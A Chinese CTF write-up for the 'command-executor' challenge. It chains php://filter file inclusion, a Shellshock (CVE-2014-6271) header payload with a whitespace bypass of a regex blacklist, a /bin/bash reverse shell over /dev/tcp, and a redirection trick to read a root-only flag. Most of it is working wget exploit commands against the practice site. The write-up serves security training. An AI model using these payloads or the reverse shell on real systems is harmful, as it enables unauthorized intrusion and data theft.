zoukankan      html  css  js  c++  java
  • 24.command-executor

    这里先给出题目链接:

     这是一道不错的ctf题,首先说一下考察点:

    文件包含读源码
    代码分析结合CVE
    CVE导致的命令执行
    写入文件/反弹shell
    思考c文件的解法
    重定向获取flag

     我们先看一下题目主页面:

    发现有敏感的选项,我们尝试点击:

    发现可以遍历目录,但是对输入的命令有限制,只能执行ls,env 。

    但是我们观察上图发现有几个php的文件名有似曾相识的感觉,比如 cmd.php , ls.php ,

     man.php , untar.php 这几个php的文件名 ls , cmd , untar 像是url中func包含过来的参数,

    这样的话,是不是存在文件包含漏洞,我们构造poc:

    php://filter/read=convert.base64-encode/resource=index

     这样的话,我们用func接受这个参数,就可以读到base64加密过后的index.php文件:

    成功读到base64加密过后的index.php文件,我们解密分析:

    <?php
    $pages = [
        ['man', 'Man'],
        ['untar', 'Tar Tester'],
        ['cmd', 'Cmd Exec'],
        ['ls', 'List files'],
    ];
    
    function fuck($msg) {
        header('Content-Type: text/plain');
        echo $msg;
        exit;
    }
    
    $black_list = [
        '/flag', '()s*{s*:;s*};'
    ];
    
    function waf($a) {
        global $black_list;
        if(is_array($a)) {
            foreach($a as $key => $val) {
                waf($key);
                waf($val);
            }
        } else {
            foreach($black_list as $b) {
                if(preg_match("/$b/", $a) === 1) {
                    fuck("$b detected! exit now.");
                }
            }
        }
    }
    
    waf($_SERVER);
    waf($_GET);
    waf($_POST);
    
    function execute($cmd, $shell='bash') {
        system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
    }
    
    foreach($_SERVER as $key => $val) {
        if(substr($key, 0, 5) === 'HTTP_') {
            putenv("$key=$val");
        }
    }
    
    $page = '';
    
    if(isset($_GET['func'])) {
        $page = $_GET['func'];
        if(strstr($page, '..') !== false) {
            $page = '';
        }
    }
    
    if($page && strlen($page) > 0) {
        try {
            include("$page.php");
        } catch (Exception $e) {
        }
    }

    我们发现了一个比较敏感的putenv()函数,这个函数的作用是用来向环境表中添加或者修改环境变量

    结合唯一可以执行的env命令想到2014年的一个重大漏洞:

    CVE-2014-6271
    破壳(ShellShock)漏洞

     具体漏洞详情我会在稍后的博客中复现这个漏洞,清持续关注我的博客。

    这里先贴出Freebuf的分析连接:

    确定了漏洞,就是尝试可用exp的时候了,这时候可以容易google到
    这样一篇文章:

     其中重点的一段如下:

    可以清楚看到这样一个payload:

    wget --header="X-Exploit:(){:;};echo Hacked" -q -O - http://127.0.0.1/shock.php

    并且和这个测试样本和我们题目中给出的代码十分相似:

    foreach($_SERVER as $key => $val) {
        if(substr($key, 0, 5) === 'HTTP_') {
            putenv("$key=$val");
        }
    }

    于是我们先去尝试一下适用性:

    可以发现我们被waf拦截了:

    ()s*{s*:;s*}; detected! exit now.

    回去分析index.php的waf过滤点:

    $black_list = [
        '/flag', '()s*{s*:;s*};'
    ];
    
    function waf($a) {
        global $black_list;
        if(is_array($a)) {
            foreach($a as $key => $val) {
                waf($key);
                waf($val);
            }
        } else {
            foreach($black_list as $b) {
                if(preg_match("/$b/", $a) === 1) {
                    fuck("$b detected! exit now.");
                }
            }
        }
    }
    

    可以看到如上一个黑名单,
    我们的

    X-Exploit: () { :; };

     正是被这个黑名单禁止了,但是这样的waf存在极大隐患,我们只要加个空格就可以轻松绕过:

    X-Exploit: () { : ; };

     我们再次攻击一次试试:

    wget --header="X-Exploit: () { : ; }; echo Hacked" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

    可以看到Hacked成功被打印出来,说明我们的poc起了作用,下面我们开始执行命令,

    不过需要注意的是,shellshock执行命令需要加上/bin/ , 比如 cat 命令直接读是读不出来的,

    需要 /bin/cat 才可以,我们尝试读 /etc/password : /bin/cat /etc/password

    wget --header="X-Exploit: () { : ; }; /bin/cat /etc/passwd" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

    发现命令可以成功执行,下面我们就用命令ls来寻找flag:

    https://command-executor.hackme.inndy.tw/index.php?func=ls&file=../../../../../../

    我们尝试使用cat来读一下flag文件:

    wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../flag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

     

    oh,shit...又被waf拦了

    这里有没有办法绕过/flag呢?

    这里给出两条思路:

    1.shell拼接,比如a=/fl;b=ag;c=a+b这样(此处写的不严谨,有兴趣可以自己去研究一下)
    2.通配符绕过

     这里我选择第二点:

    wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

    但这次并没有回显打出,但也没有报错,考虑是应为文件权限导致,

    回去查看文件权限:

    发现只有root才可读....

    发现下面有一个c语言写的flag-reader.c,这个文件倒是有读的权限,

    我们读一下他看有什么线索:

    wget --header="X-Exploit: () { : ; }; /bin/cat ../../../../../../?lag-reader.c" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

    打出回显:

    <!DOCTYPE html>
    <html lang="en">
      <head>
        <meta charset="UTF-8">
        <title>Command Executor</title>
        <link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all">
        <link rel="stylesheet" href="comic-neue/font.css" media="all">
        <style>
          nav { margin-bottom: 1rem; }
          img { max- 100%; }
        </style>
      </head>
      <body>
        <nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
          <a class="navbar-brand" href="index.php">Command Executor</a>
    
          <ul class="navbar-nav">
            <li class="nav-item">
              <a class="nav-link" href="index.php?func=man">Man</a>
            </li>
            <li class="nav-item">
              <a class="nav-link" href="index.php?func=untar">Tar Tester</a>
            </li>
            <li class="nav-item">
              <a class="nav-link" href="index.php?func=cmd">Cmd Exec</a>
            </li>
            <li class="nav-item">
              <a class="nav-link" href="index.php?func=ls">List files</a>
            </li>
          </ul>
        </nav>
    
        <div class="container"><h1>Command Execution</h1>
    <ul><li><a href="index.php?func=cmd&cmd=ls">ls</a></li><li><a href="index.php?func=cmd&cmd=env">env</a></li></ul>
    <form action="index.php" method="GET">
      <input type="hidden" name="func" value="cmd">
      <div class="input-group">
        <input class="form-control" type="text" name="cmd" id="cmd">
        <div class="input-group-append">
          <input class="btn btn-primary" type="submit" value="Execute">
        </div>
      </div>
    </form>
    <script>cmd.focus();</script>
    <h2>$ env</h2><pre>#include <unistd.h>
    #include <syscall.h>
    #include <fcntl.h>
    #include <string.h>
    
    int main(int argc, char *argv[])
    {
    	char buff[4096], rnd[16], val[16];
    	if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
    		write(1, "Not enough random
    ", 18);
    	}
    
    	setuid(1337);
    	seteuid(1337);
    	alarm(1);
    	write(1, &rnd, sizeof(rnd));
    	read(0, &val, sizeof(val));
    
    	if(memcmp(rnd, val, sizeof(rnd)) == 0) {
    		int fd = open(argv[1], O_RDONLY);
    		if(fd > 0) {
    			int s = read(fd, buff, 1024);
    			if(s > 0) {
    				write(1, buff, s);
    			}
    			close(fd);
    		} else {
    			write(1, "Can not open file
    ", 18);
    		}
    	} else {
    		write(1, "Wrong response
    ", 16);
    	}
    }
    </pre></div>
      </body>
    </html>

    审计这个c程序,大致原理就是:1秒之内把他输出的再输入回去,就可以打出文件内容

    此时我们的思路很简单,运行这个c程序,再把这个c程序输出在1s内再输回去,但是纯靠这样的交互,

    速度极慢,所以容易想到,要不要拿个shell?

    这里给出2种拿shell的思路

    1.反弹shell
    2.找到可写目录,并写入文件,利用文件包含即可

     这里我选择反弹shell(因为后面还会写文件,所以这里选择反弹,就不写了)

    wget --header="X-Exploit: () { : ; }; /bin/bash -i >& /dev/tcp/你的ip/11122 0>&1" -q -O - "https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env"

     然后一会儿就能收到shell

    而下面就只要解决如何在1s内输入c文件输出的结果这个问题了

    这里我选择了linux下的重定向,我们将输出写到某个文件中,再自动输入即可,这样即可达到目的

    我们先去探索可写目录,发现 /var/tmp具有写权限

    我们测试一下:

    然后来看写进去了没有:

    成功写入文件,证明这个目录可以利用,我们构造:

    flag-reader flag > /var/tmp/skyflag < /var/tmp/skyflag

     即可在skyflag中读到flag

  • 相关阅读:
    JavaScript
    多线程
    MySQL进阶一(基础查询)
    英语语法随笔1
    MySQL
    Love Story
    两个数组的交集
    只出现一次的数字
    MybatisPlus
    数组中值加一
  • 原文地址:https://www.cnblogs.com/bmjoker/p/9537667.html
Copyright © 2011-2022 走看看